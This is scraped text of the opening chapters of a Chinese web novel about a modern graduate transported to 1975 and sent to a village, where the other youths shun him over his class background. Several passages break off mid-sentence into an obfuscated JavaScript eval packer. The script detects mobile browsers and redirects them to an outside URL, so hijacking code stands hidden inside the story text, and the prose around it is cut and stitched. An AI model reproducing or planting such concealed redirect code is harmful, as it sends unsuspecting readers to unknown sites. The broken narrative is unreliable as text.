《七零年代去高考》 1. 下乡 “大家先在这里等一等,等下还有一趟车要经过,也是要到我们县的知青,大家等一等他们哈!” 窄小简陋的火车站门前,一个中年男人拿着个本子,对着面前这群十七八岁的知青喊话。 他是白溪县派来接待知青的工作人员,已经根据名单清点过这群知青的人数了。 “那边树下比较凉快,各位同志不妨先去树下等一下,火车很快就到!”中年男子招呼着知青们往树下走去。 如今正值七月,一年中最热的时候,更别说白溪县地处南省这个亚热带地区,更是比其他地方更热几分。 所以听到白志远的话,知青们都纷纷往他指的树下走去。 火车站外可能经常有人等车或等人,那大树底下零零散散堆了不少石块,让大家能够坐着歇歇脚。 “坐了两天的火车,感觉骨头都要僵了,终于能歇歇了!”一个男知青把行李放下,活动了一下筋骨。 其他知青也三三两两找了位置坐下,有比较外向的知青也跟着搭话:“没想到南省还挺热的,才下火车没多久,我就出了一身汗了。”那知青伸手抹了一把额头,手心都被汗沾湿了。 有爱美的女知青抱怨:“热死了,我头发都粘脖子上了,好难受啊。” 覃晓燕生得白净,头上扎着两条麻花辫,麻花辫垂在胸前,黏着两侧的脖颈。她把两条麻花辫撩到后背,总算没那么难受了。 覃晓燕是他们这一批知青里长得最好看的女孩子,不少男知青都关注着她。 此时听到她抱怨,有殷勤的男同志找了个本子,展开替她扇风。 覃晓燕也不客气,心安理得地享受那人的服务,她从小就长得好看,对她献殷勤的人多了去了,她都习惯了。 有看不上覃晓燕的女知青不屑道:“谁不热啊,就你娇贵!” 覃晓燕扭头看去,她就不是个受得了气的人,正要出声反击,旁边突然传来一道声音,吸引了所有人的注意力。 “离我远点!你个资本家的傻儿子,我可不想跟你沾边,你爸是大资本家,你是个小资本家,专门挖社会主义的墙角!” 只见一个青年推搡着另一个知青,那青年长着一张国字脸,本应该是很显正气的脸型,却因为此时嫉妒加嫌弃的表情,显得有几分刻薄。 有热闹看,覃晓燕也顾不得反击嘲讽她的女知青,站起身来凑了过去。 是他?覃晓燕心里闪过一丝惊讶。 被推搡的知青干净文雅,行为举止和其他男知青完全不同,这一路上吸引了不少女知青的注意力,时不时偷偷用余光看他,连覃晓燕也不例外。 刚才好像听那声音说,他是资本家的儿子? 不少女知青都下意识皱起了眉。 面对那人的指责,梁月泽也不辩驳,只定定看着对方。 那青年被吓得心脏跳了一下,随即瞪眼喊道:“你看什么看?难道我说得不对吗?” 梁月泽没说什么,神色平淡地拿着布袋往更远处走去,布袋里面装的是他的全部身家。 初来乍到的,他并不想生事,毕竟他还不太熟悉这个时代的国情。 梁月泽是一个月前来到这个时代的,在那之前,他还只是个刚刚毕业的大学生,保研了本校的准研究生,就等着九月份入学。 却没想到,一场意外改变了这一切。 说来也是倒霉,那天梁月泽刚参加完毕业典礼,正要跟几个大学舍友出去吃散伙饭,聚餐的餐馆并不远,大家就决定走过去。 一行人走到半路,突然一辆失控的小车撞了过来,梁月泽一时躲闪不及,整个人就被撞飞了。 等他再次睁眼,时间已经回到了1975年,他在海市一个同名同姓的傻子身上醒来。 梁月泽缓了好几天,才接受自己穿越了的事实。 一个二十一世纪的新青年,穿越回了1975年,还没等他适应这里的生活,就被下放到乡下当知青。 原主家住在海市,听说出生就是个傻子,他爸梁正杨是留学英国回来的经济学家,因为留过学的经历,前几年被打成了资本家,如今正在西北放羊呢。 原主因为是个傻子,又有他二叔出面抚养,才得以留在海市。 二叔梁正军是个军人,参加过越南战争,立下了不少功劳,在军队里是个小领导,□□管不到军队头上来,梁正军也因此没被梁正杨给牵连。 梁正军平时在军队里,一年只能回来一次,家里的事情都是妻子刘春芳在管,他每月只给自己留五块钱工资,其余的都寄回来养家。 二叔二婶一共生了三个孩子,再加上原主这个侄子,就是四个孩子,住在纺织厂分给二婶的两间房里,原主和两个堂弟挤一个屋,二婶和堂妹睡一屋。 原主虽然是个傻子,但其实挺好养的,会自己穿衣吃饭,也很听家里人的话,只是容易被职工大院的小孩欺负。 这次梁月泽会穿越过来,就是因为原主被职工大院的小孩用石头砸到了脑袋,再次醒来后,灵魂就变成了从现代来的梁月泽。 梁月泽装了几天傻子,接受了自己重生到七十年代的事实后,就开始表露出自己是个正常人特征。 毕竟他也不可能装一辈子的傻子,正好借着这次事故,向大家表明他已经恢复神智了。 知道梁月泽不傻了之后,一家人都高兴不已,尤其是二婶刘春芳,她这些年尽心养育这个痴傻的侄子,就是不想让人说她闲话。 如今傻侄子因祸得福变好了,她高兴得满大院宣扬,很快大院里的人就知道梁家的傻侄子好了。 惹得一堆人上门来围观,梁月泽只能尴尬地任由大家围观,偶尔说几句话表明他已经不是傻子了。 七十年代的人和后世不一样,这个年代的人注重邻里关系,没有什么边界感,谁家发生了什么事儿,都会上去凑个热闹。 做事风风火火的二婶、乖巧懂事的堂妹、天天嚷嚷着要去当兵保家卫国的二堂弟、不爱写作业经常被骂的小堂弟。 在装傻的那几天里,梁月泽大致了解了原主这几个亲人的秉性,在相处中,慢慢体会到一丝可贵的亲情。 这是他在现代无法体验到的温情,即便他有父母在身边,但对于那对父母来说,比儿子更重要的是他们的科研实验。 梁月泽放任自己慢慢适应在梁家的生活,适应打呼噜的二堂弟,适应在被窝里藏吃的小堂弟,适应二婶的泼辣直爽,适应堂妹的懂事早熟。 可还没等他完全融入这个家,他就被下放到乡下当知青了。 看着梁月泽走远,那青年得意地笑了。 一个傻子,一个资本家出身的傻子,凭什么那么受欢迎?!! 他就应该像以前一样,受到所有人的排挤和唾骂! 围观的知青都凑了上去,好奇地问那青年:“他真是资本家的儿子啊?” 覃晓燕也竖着耳朵听青年的回答,这个年代讲究成分,贫下中农是最好的成分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江志德用下巴点了点梁月泽所在的方向:“他以前天天在大院里晃荡,让他干啥就干啥,傻不愣登的,可埋汰了!” 这一路走来,爱慕覃晓燕的男知青都看出了她对梁月泽有点意思,现在知道了梁月泽的缺点,自然是要踩他一脚。 “听说傻子是会遗传的,容易生出傻子来。”有人轻飘飘冒出一句话来。 江志德点头附和:“是啊,就算他现在好了,也不妨碍他以前是个傻子,而且他还是资本家的儿子!” 覃晓燕心情很复杂,江志德他们还在旁边说风凉话,便没好气地瞪了他们一眼,走到一边去了。 她又找了块石头坐下,转头看向那边孤零零一个人站着的青年,身长玉立、穿着一件普通的背心和衬衫外衣,却有种与旁人不同的儒雅气质。 这样的人,说他是资本家的儿子她信,但说他之前是个傻子,她却不太相信了。 他怎么会是个傻子呢? 梁月泽在一边享受难得的清净,这个年代的年轻人太有活力了,在火车上叽叽喳喳了一路,也不嫌累。 和现代大学里时常瘫在宿舍的大学生相比,精神面貌全然不同。 知青们在树下等了一个多小时,白志远终于从车站里出来,后面跟着一群年轻人。 “大家往这边走,我们点一下名,人齐了就可以走了!” 白志远招呼着身后的知青往大树底下走去。 2. 分配 白志远带着一群知青往县里的知青办走去,县里需要给他们办理户籍转移,下乡的知青必须要把户籍迁到插队的乡村里。 “大家排好队,一个个来,等办好户籍就可以下乡了。”白志远喊道。 大家在知青办门口的空地上排了好几排,梁月泽自觉地排在后面。 他至今还觉得这一切很梦幻,太不真实了,意识有些恍惚,一切都是跟着别人在行动。 大家排好队之后,白志远冲着知青办里面喊道:“知青们都到齐了,都出来吧!” 知青办里走出来六个人,白志远指着他们向知青们介绍:“这是咱们白溪县下面几个乡镇的村书记和村长,今天来就是要把你们给领回去的。” “六个镇六个村,你们这批知青一共有32人,每个村分配5到6人,我就不做安排了,大家双向选择。” 接着白志远就让这些村书记村长给大家介绍本村的情况,好让知青们能够更好地做出选择。 作为村里的书记或村长,他们内心其实是不想接收知青的,这些城里来的知青,肩不能挑手不能提的,干活也不利索。 最主要的是,最近这几年,那些娶了村里姑娘的知青,通过村里的推荐,上了工农兵大学,或者通过招工的方式回了城,就把村里的媳妇孩子给抛下了。 村里人对这些知青的行为极其厌恶,连带着对正常干活的知青都迁怒了。 虽然不想接收,但这是国家的政策,他们也不得不接收。 既然一定要接收,他们自然想接收一些看起来比较强壮能干的知青,而小白脸,则是他们最不想要的。 男女知青各占一半,每个村子至少要领两个女知青回去,像覃晓燕这种长得好看的,一看就娇气不能干活的也不受青睐。 但她比较积极又开朗大方,选好了要去哪个村子,人家也不好拒绝。 过了一会儿,大家基本选好了要去的村子,各自站在选好的村书记村长身旁。 梁月泽理所当然是被剩下的,他整个人还是懵的,严重缺乏主动性,就站在原地等别人来选他。 不过他长得剑眉星目的,身上自带一股清冷儒雅的书生气,在村里人眼里,就是个小白脸,这些村书记又怎么会选他。 对此梁月泽内心毫无波澜,反正去哪里对他都没有区别。他发现站在他旁边的知青没有动,也没有人选他。 梁月泽抬眼扫了对方一眼,好像比他矮了半个头,此时正低着头,拿着行李的手瘦得能看见手骨的形状。 梁月泽只看了一眼就收回了视线,等待知青办的人分配。 最后只剩下梁月泽和那人,白志远尴尬地看了看几位村书记村长,又看了看两人,其中意思不言而喻。 这六个村书记村长都选了五个人,平分下来刚刚好,此时都左看右看就是不看白志远。 那个小白脸就不说了,领回去肯定会惹得村里的大姑娘小媳妇芳心大动,这是肯定不能要的。 至于小白脸旁边站着的小年轻,头发长得能遮住眼睛了,还低着头,一点积极向上的精气神都没有,指不定是什么阴暗小人呢。 僵持了一会儿,没有人愿意妥协,白志远也无奈,只好冷下脸说道:“这是组织的命令,今天这两人必须要有村子接收!” 几个村书记村长面面相觑,都不想装大方把人收下。 站在六合村书记旁边的江志德眼珠子一转,知道书记不想要那两人,主动站出来替他分忧。 “反正我不同意他分到六合村来,他是资本家的儿子,我不想跟他在一个村里干活!”江志德指着梁月泽喊道。 江志德搓着手臂,一脸嫌弃道:“到时候要跟他住一个屋,和资本家的儿子住一个屋,万一沾染上资本家的气味怎么办!” 这话一出,几个村书记村长都有了推脱的借口,纷纷表示推辞。 “既然其他知青不想和这个……这个梁月泽一个村,我们也没办法。” “是啊,总得顾及其他知青的意愿才好!” “不是我们不想接收,实在是……” 六合村的书记更是给了江志德一记赞赏的眼神,江志德眼里闪过一丝得意。 不仅讨好了书记,还踩了讨厌的人一脚,江志德自觉自己这次做得非常聪明。 其他知青见此情景,心中大骂这人耍小聪明,也暗恨自己不够机灵,讨好村长书记的机会都没抓住。 但也有人抓住了机会。 “他爷爷是臭老九,他从小跟着他爷爷长大,肯定学了一身的封建糟粕!我们是新中国的知识青年,绝不要跟他住一起!”一个长得高大的男知青指着排在梁月泽旁边那人说道。 本来大家还发愁,这剩下的人怎么推脱,这下又有了借口,理由还是和拒绝梁月泽一样。 梁月泽一个从二十一世纪来的大学生,还没完全代入这里的生活,看着他们像是在看戏一样,没有一点儿气愤。 可旁边这位看着阴郁的少年,怎么也无动于衷?他不免生出了好奇。 听着大家的推脱之词,白志远脸色很不好看。接待知青,把知青分配到下面的村子里,是他的职责。 要是完成不了任务,就是他失职,他怎么高兴得起来。 几位村书记村长也是有眼色的,他们虽然不想接收这两个知青,但知青办的白主任还是不能得罪的。 白志远好歹是县里的知青办主任,万一以后给他们村穿小鞋,就得不偿失了。 六合村的书记突然想到一个办法,把矛头指向了站在最左边的扶柳村村长。 “老林,我记得你们扶柳村前几天把县里的拖拉机给用坏了,咱们县里拢共就只有五辆拖拉机,如今被你们村用坏了一辆。”他说得意味深长。 其他四个村长书记也不是傻子,一听就知道他的意思,立马出言帮腔。 “现在正值农忙,正是需要拖拉机的时候,少了一辆拖拉机,不知要多使多少人力。” “县里不追究你们扶柳村的责任,你们就好意思撒手不管吗?” “少了一辆拖拉机,我们其他镇的村子就要多排几天,你们扶柳村多少也要有点表示吧。” 扶柳村的村长看起来四五十岁了,常年下地劳作,皮肤被晒得黝黑,此时穿着一件发黄的背心,皱着的眉头显示他并不是很乐意。 但白志远可不管这么多,只要有人接收这两个知青,他的任务就完成了,哪管别人乐不乐意。 林村长倒是想开口拒绝,但把拖拉机用坏的事儿到底是他们村理亏。县里的技术员修不好,要向省城申请技术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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另外那两个男知青,都对覃晓燕有好感,看到她伤心,心里反而高兴起来,少了一个强有力的竞争对手,他们的机会就多了。 牛车是板车,空间并不大,为防挨着女孩子,梁月泽往另一边靠了靠。 坐在另一边的是和梁月泽一样被剩下来的阴郁少年,他此时也是垂着头,长长的头发遮着,让人看不清他的脸。 梁月泽发现,这人从来没有说过话,连白志远点他名字的时候,都只是点了下头。 好像……是叫许修竹吧? 名字还挺好听的,和现在大多数人叫的建国、振军、卫民,好听多了。 村里距离县城有二十多公里路,林村长驾着牛车走了三个多小时,其中经过连绵的高山,绕了不知多少道弯,才终于到达扶柳村。 幸好他们是在下午两三点的时候出发,否则这些没见过群山的知青,在夜幕下要吓得瑟瑟发抖了。 “村长回来啦!”田里有锄地的大叔看到牛车,热情地寒暄。 林村长肃着一张脸,点头“嗯”了一声,牛车没停继续往知青的住处驶去。 大家伙儿都知道他今天是去接知青的,好奇地点了点牛车上的人数。 “一、二、三……六、七,七个知青?!!” “怎么带回了七个知青?我记得前些日子,隔壁临东村也才收了四个知青。” “是啊,怎么我们村这次接收的知青这么多啊?” 林村长接知青的牛车刚进村,还没停下就遭到了大家的议论和抱怨。 显然大家都不是很欢迎知青的到来。 3. 排斥 “这几个是我们村新来的知青,分别叫李国栋、齐国伟、梁月泽……覃晓燕。”林村长对着知青所的知青说道。 此时太阳已经下山了,天边还留着余晖,在田地里干活的农民,都陆陆续续准备回家吃饭。 村里的知青们也收工回到了知青所,知青所是村里特意为他们建的,共有两间大房,男女各一间。 扶柳村现在一共有9个男知青,7个女知青,加上新来的7个,就是23个知青了。 知青所现在是每天轮流两个人做饭,灶房搭建在屋子外头,那边女知青烧着火,冒出潺潺烟气。 知青所的老大哥孙铭热情地说:“欢迎欢迎!早就知道要来新知青,我们已经把床铺整理好了。” 除了做饭的那两个女知青,其他知青都围在旁边,观察着新来的知青们。 男知青们看到漂亮白净的覃晓燕,因为干了一天农活而疲惫不堪的他们,眼睛霎时就亮了。 女知青们看到梁月泽,也是同样的反应,没想到这次分配到村里的知青,长得这么好看。 李国栋和齐国伟发现大家不是在看覃晓燕,就是在看那个资本家的儿子,眼里闪过不满。 林村长对着孙铭吩咐:“县里拨给他们的口粮还没分下来,估计要等下个月才能发,这个月的口粮村里先借着,等发下来再还。” “你们一会儿多下点米,让他们吃饱了,再带他们到公社来借粮。” 孙铭点头应承,他是最早一批来村里的知青,因为年龄最大,又比较热心肠,其他知青都比较信服他。 村长了解孙铭的秉性为人,对他不仅没有偏见,隐隐还有点重视,和对待新知青的黑脸完全不同。 梁月泽对于被围观,一点儿感觉都没有。在前世时他长得就好看,走在校园里不时有人行注目礼,在这个时代醒来后,也因为傻子变好了这件奇特的事情,而常常被人围观。 他只担心以后的住宿环境,要和十几个人挤一个屋里,梁月泽想想就觉得浑身难受。 之前在海市,和两个堂弟睡一张床上,人挤人肉贴肉的,还时不时磨牙翻身,他好几天都没睡好,后来适应了一些,又被突然通知要下乡。 从梁月泽有记忆开始,他一直都是自己一个人睡一张床,后来上了高中大学要住宿,也是一人一床,哪里跟别人挤过。 他以为在海市那间小屋子里挤三个人已经是他人生最窘迫的时候,现在看来,三个人睡一张床,条件已经很好了。 被老知青们领着进了屋,二十几平的地方有大半是床,一小半放了几张桌子柜子,中间的过道狭窄,勉强能过两个人。 南省气候潮湿温热,适合树木生长,这里木料丰富,地上放几张长凳,上面再铺上床板,就是他们的床了。 梁月泽扫了一眼没放铺盖的床位,大约只有一米五宽,要睡下四个大男人,实在是太为难了。 带他们进来的知青尴尬地挠了挠头发:“我们不知道这次新来的男知青这么多,还以为最多也就两三个,大家就挤一挤吧。”一个人睡半米,一米五宽的床位,按他们的预估位置是足够的。 梁月泽站在原地没动,心里无比抗拒以后的生活。谁能想到他一个多月前还只是一个刚毕业的大学生,父母常年不在家,一百二十平的三室一厅他一个人居住。 那个一直没说过话的阴郁少年也没动,站在梁月泽身后,两人像是两座前后排队的木雕。 林村长和孙铭交代好了事情,就打算去把公社的牛给还了,然后回家吃饭。 结果刚上牛车,男知青住的屋子里就传来了巨大的吵闹声,村长和孙铭赶紧冲到门口去。 “他们一个是资本家,一个是臭老九,我们是工人子弟,怎么能跟他们睡一张床上!”李国栋指着梁月泽和许修竹这两座木雕吼道。 李国栋和齐国伟的东西已经扔到了那张一米五的床上,两人开始就梁月泽和许修竹的身份来讨伐他们。 他们都是城市里的工人子弟,坐了几天车一身疲劳,满腔的委屈压在心里。在路上还能顾及女知青在场,强压着没有爆发出来。 可现在来到了这个小山村,泥砖建墙,稻草当屋顶,一间屋子睡十几个人,恶劣的环境让他们再也按耐不住了。 发泄不满的同时,也是想替自己争取利益。 本来要到扶柳村的男知青就他们两个,那两人是被知青办的人强行分配下来的,这床就是给他们两个人准备的。 齐国伟附和道:“我们是伟大的工人阶级,没法跟这两个资本家和臭老九住一个屋!” 老知青们脸色有些不太好看,在这个年代,大家都很看重阶级的。在城里最受人尊重的是工人无产阶级,农村则是贫下中农阶级。 来下乡当知青的,大多数是工人子弟,他们受的教育就是会看不起资本家和臭老九。 感受着空气中隐约的排斥,梁月泽挑了一下眉,看来这个年代的人,也不全都是淳朴善良的。 有人的地方就有利益,有利益就有斗争,而今天这出戏,显然是为了这张一米五的床。 “总之,我是没法跟这两人一个屋!” “对!有他们就没我们!” “吵什么呢!一天天这么多事儿!”村长黑着一张脸,一掌拍到门上。 李国栋和齐国伟吓得顿时不敢再说话,两人面面相觑,他们之所以敢这么闹事,就是因为在知青办门口处别人闹成功了。 但村长这反应,跟他们预想的好像不太一样。 好在,他们的话,成功挑起了其他老知青对这两个人的排斥。 李国栋和齐国伟两人因为村长的黑脸缩了回去,其他老知青却冒出了头。 一个长得人高马大的人走到村长面前,粗声道:“村长,这两人不能住这屋!俺们不同意!” 村长心里烦死了,多了一个小白脸和一个看着就木讷阴暗的人到村里,偏偏这些知青还不消停。 村长脸色又黑了几度:“他俩怎么就不能住这屋了?!” 杨远山丝毫没有察觉,继续道:“他们是资本家和臭老九,老子最讨厌的就是资本家了,他们要是住了这屋,老子就把这屋给拆了!” 村长怒斥:“这是村里的房子,你敢拆一个试试?” 杨远山撇开头去,虽然不敢真的拆房子,但他浑身上下都散发着拒绝的气息。 之后村长把这一屋子的人都骂了一通,但大家还是很抵触梁月泽和许修竹住进来。 没办法,村长只好先把人带到公社,打算和书记商量后再决定怎么安排这两人。 “这多了两个人,明年就要多两个人占咱们村的口粮,你到底怎么想的?这种事儿也能答应?” “我不答应能行吗?谁让我们村把拖拉机给用坏了,那白主任和其他村的村长书记都逼着,不收不行啊!” “那你打算怎么安排这两人?先声明,我家肯定是不行的,尤其是那个小白脸,万一把我家闺女的心给勾走了,我哭都来不及。” “我当然知道,你让我想想……” 梁月泽坐在公社外面的石头上,听着村长和书记在讨论他和那人的住处,突然轻笑了一声。 这荒诞的一幕,他从来没想过的场景,竟真真切切地发生在他身上。 梁月泽不由地看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266345|166589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁站着的许修竹,这时候他并没有继续低头,而是仰头看向高处的月亮,露出的下颌线清晰,从下半张脸足以看出他和这个时代审美截然不同的精致。 这人从下火车开始,别人说什么都没反应,好像一个牵线木偶一样。 可这一刻,他默默注视着月亮的模样,让梁月泽知道,他不是真的没想法。 梁月泽只看了一眼就收回了视线,这人在想什么他没有兴趣,他有兴趣的是,今晚到底睡哪里。 李国栋和齐国伟要把他赶出知青所的时候,梁月泽是乐见其成的,他没办法接受和十几个人睡在同一个屋里。 哪怕睡在田里都比睡在知青所强。 但、但是,也不能真的睡野外吧? “村长,您是说让我和他今晚睡这里?”梁月泽有些错愕。 村长和书记不知说了多久,再出来时,书记拿着从公社借来的几十斤粮食,村长则是回他家拿了个瓦锅,然后领着两人去住的地方。 月明星稀,不用手电筒也能看得清路,出现在梁月泽眼前的,是一个棚子。 一个牛棚。 一个被废弃的牛棚。 牛棚周围用木棍和竹竿围着,棚顶用晒干的稻草盖着,地上是干硬的土地,零零散散分布着陈旧的稻草。 村长拿了一把扫把,把牛棚里的稻草都扫出去,边扫便点头道:“不是今晚,是接下来一段时间,你们都要住这里。” “你们刚来村里,村里人对你们还不熟悉,也不敢让你们住进家里,等过段时间大家熟悉了就好了。” 实在不行,等过了农忙,让村里人帮忙打些泥砖,再盖一间小房子就是了。 反正泥和稻草,他们这里多的是。 感觉周围安静下来,村长停下动作,抬起头来,脸色比在知青所时缓和了许多。 “这虽然是牛棚,但已经有两年多没用了,味儿早就散了,至于这棚顶,等明天再盖些稻草上去就行了。” “也不用担心会丢东西,这里靠近农田,白天大家都在田里干活,谁来过这里都能看得见。你们先住着,在天冷之前,肯定给你们改善。” 村长对资本家臭老九倒是没什么偏见,之前黑脸也只是觉得麻烦罢了,现在已成定局,就尽量解决麻烦。 村长把牛棚扫干净后,书记就抱来了一捆扎好的稻草,把稻草铺到地上。 “这是六月新割的稻草,已经晒干了,垫着睡觉最舒服了。” 书记和村长把牛棚整理好,留下了两人的口粮和一口锅,又交代了一些事情就回家去了。 梁月泽无语望天。 最后是腹中饥鸣唤醒了他,家里带来的饼在今天早上就已经吃完了,梁月泽已经饿了一天了。 梁月泽下意识寻找另一个人的身影,许修竹蹲坐在牛棚的稻草上,怀里抱着他的行李,怔怔地看着天上的月亮。 梁月泽不是个主动的人,他的边界感一向很强,别人不找他,他也不会去烦别人。 但他真不会做饭,从小跟着爸妈吃食堂,后来上了大学也是吃的食堂,完全没下过厨,更别说自己烧火了。 “诶!你会烧火煮饭吗?”犹豫了一会儿,梁月泽还是向饥饿妥协了。 许修竹缓缓转头看向梁月泽,定定地注视了他一会儿,终于吐出了来到白溪县的第一个字:“会。” 少年嗓音清澈,和他阴暗小人的形象完全不符。 没等梁月泽回应,少年抬起眼眸,说道:“但,你能用什么来换?” 言下之意是,他的劳动不白给。 梁月泽挑了一下眉,有意思,这人果然和表象不一样! 4. 围观 “你想要什么?” 两人都看着对方,像是在对峙一样。 其实对方提出要用东西来交换劳动力,梁月泽还松了一口气,以他的性子,是不喜欢欠别人的。 梁月泽见少年许久不说话,弯身拿起地上的行李,把他认为这个时代比较受欢迎的东西拿出来。 “手电筒?粮票?布票?还是钱?” 下乡前,二婶刘春芳自责没照顾好他,没能把他留在城里,让他下乡去吃苦。 可她也不能把自己的工作给侄子,她还有三个孩子要养,没有工作的青年,就只能去下乡。 梁月泽自然不会怪她,刘春芳作为原主的二婶,已经做得很好了,就算她想把工作给他,他也不会接受的。 作为弥补,刘春芳给他塞了很多东西,还把家里唯一的手电筒给了他。 少年神色微动,但他拒绝了:“我不要这些。” 梁月泽抬头看他:“那你想要什么?” “干农活。” “嗯?” “帮我干农活,挣工分。”许修竹重复了一遍。 梁月泽疑惑,他下乡之前了解过,农村是靠工分来分配粮食的,他这里有粮票有钱,岂不是比挣工分更划算吗? 像是看出了梁月泽眼中的疑问,许修竹解释了一句:“我要挣满10个工分。” 今天进村时,他悄悄打量过农田里干活的场景,许修竹自忖,以他的体力,想靠自己挣满十个工分太难了。 他需要找一个帮手。 梁月泽想问他为什么要挣满10个工分,话到嘴边又吞了回去,他不是个追根问底的人。 “行,我每天给你做两个工分的活,你给我做饭吃。”梁月泽说。 许修竹:“3个工分。” 梁月泽:“3个工分太多了。” 许修竹:“洗碗打水我都包了。” 梁月泽犹豫了一会儿,想想这样确实能省不少事儿,不过是多做些农活而已。 这时候的梁月泽还不知道,七十年代的农村,没有现代化的机械,纯靠人力种田有多费劲儿,3个工分有多难挣。 他对比了一下两人的体型,他比对方高了大半个头,身体也强壮许多,干苦力活肯定比对方厉害。 于是就答应了许修竹的条件。 可惜他高估了自己的能耐。 梁月泽答应的那一刻,许修竹就站了起来,拿起村长放在牛棚外的瓦锅,再抓两把米,拿几根红薯,到不远处的小溪去洗米盛水。 据村长说,整个扶柳村的人,都是喝的这条溪流的水,牛棚地处溪流的上游,不用走太远就能取水做饭。 梁月泽惊讶于他做干就干的速度,随后就在牛棚垫好的稻草上坐下,他也奔波了好几天了,身心俱疲,直到这一刻夜深人静,才终于有片刻拥有属于自己的空间。 夏天白天的风都是炙热的,唯有夜幕降临,才肯降下一点温度,这样的天气,在野外睡觉还更清凉一些。 月亮高悬,照得田野如白日一般,耳边是青蛙呱呱呱的声音,梁月泽蓦然感觉到一股宁静,心中隐藏的微不可见的烦躁,此刻都被抚平了。 许修竹很快就端着瓦锅回来了,把瓦锅放在地上,接着又去了溪边,也不知道他要做什么。 梁月泽本想问他要不要帮忙,但对方没让他帮忙,而且他也答应了要给报酬,空坐在这等吃是理所应当的事儿。 他叹了一口气,从包里拿出二婶塞给他的军用水壶,这是二叔从部队拿回来的,两个堂弟都很喜欢,经常为了这个水壶争抢不休。 二婶把这个水壶给梁月泽的时候,两个堂弟却都不争了,一致同意把水壶给他。 梁月泽想到两个堂弟,嘴角有些微上扬。他扭开壶口,打算喝口水缓解一下渴意,这是他在火车上打的水,此时已经凉透了。 许修竹再次回来时,怀里抱着几块形状不一的石块,他把石块放到瓦锅旁边,接着又要转身往溪流走去。 梁月泽叫住了他:“等一下,有什么要我做的吗?” 没等许修竹拒绝,梁月泽举起手中的水壶:“作为交换,一会儿煮完饭后,帮我烧一壶水。” 许修竹没拒绝也没答应,只说了一句:“有空去村长家借点柴,一会儿要生火煮饭。”大晚上不好上山去捡柴,他本打算垒好灶再去找村长的。 “今天事情太多,瞧我都忘了,我去给你拿一捆木柴。” 村长已经吃完饭,正准备去洗澡,听了梁月泽的来意,就转身回了院子打包木柴,没让对方进门来。 不光是木柴,他还想到他们可能没盐没火柴,又给他拿了一盒火柴,用纸包了一点儿盐。 等人走后,正在院子里洗碗的二女儿林月香好奇地问:“爸,谁呀?怎么又是给柴又是给盐的?”更早些时候还从家里拿了个瓦锅出门。 村长看了一眼已经长大的二女儿,想到梁月泽那张脸,顿时没了好脸色,没好气道:“洗你的碗,管那么多干什么!” 接着就回了屋,留下林月香在原地抱怨:“不说就不说呗,干嘛生气啊!” 梁月泽可不知道他走后村长家发生的事儿,等他回到牛棚时,许修竹已经用石块把灶叠了起来,临时煮一顿饭还是没问题的。 被村长扫出去的陈旧稻草,正好可以用来引火,许修竹显然是做惯了,火很快就燃了起来。 煮了没多久,大米的香气从瓦锅里散发出来,许修竹不知从哪儿找了把小刀,把红薯切成小块放到锅里一起煮,最后再加一点儿盐,一锅红薯大米粥就好了。 食物的香味在这片土地上弥漫,唤醒了梁月泽的饥饿,他从包里找出自己饭盒,在火车上他已经洗干净了。 两人享受了一顿热乎的晚饭,全程很安静,除了必要的话,都不会主动跟对方闲聊。 夜逐渐深了,收拾好东西,梁月泽和许修竹分别在牛棚里躺下,两人各占一边,中间隔着半米宽,谁也不影响谁。 梁月泽闭上眼睛,身下的稻草既柔软又刺挠,比木板床软,但稻草时不时会刺人。 梁月泽翻了几次身,忍不住拿出两件衣服垫在稻草上,刺挠的感觉才减弱了一些。 牛棚外临时搭建的灶,此时还燃着烧柴剩下的木炭,瓦锅架在上面,等木炭烧完了,瓦锅里的水也就烧开了,第二天可以喝到清甜的凉白开。 耳边是响亮的青蛙叫声,还有不远处清脆的溪水潺潺声,不知为什么,梁月泽觉得,睡在旁边的少年平缓的呼吸声,比这些声音都要大,让他无法忽视。 “起来啦!昨晚睡得好吗?” “嗯,好。” “昨天太晚了,许多事儿都没跟你们交代,一直惦记着呢,一起来我就到你们这儿了。” “本来知青所那边是有老知青带的,但现在你们不住知青所,我就给你们简单说说……” 梁月泽是在村书记嘹亮的嗓音中醒来的,此时天刚亮,太阳都还没出来,但早起的农民,已经拿着锄头在地里干活了。 白溪县地处南方,气候炎热,尤其是夏天,太阳出来后,没多久就会热得人顶不住,怎么也要休息两三个小时,过了最热的那段时间,才能下田干活,否则容易中暑。 所以大家为了少晒点时间,往往天还没亮就开始起床干活了。 梁月泽缓慢地坐起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266346|166589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,脑子还有点空,下意识看向了声音的方向。 许修竹在煮着粥,书记蹲在他旁边,给他介绍村子里的情况。 估计是看许修竹挺有礼貌的,虽然全程只会“嗯”、“好”、“是”,但乖顺的态度很对书记的胃口,都开始关心起他本人来了。 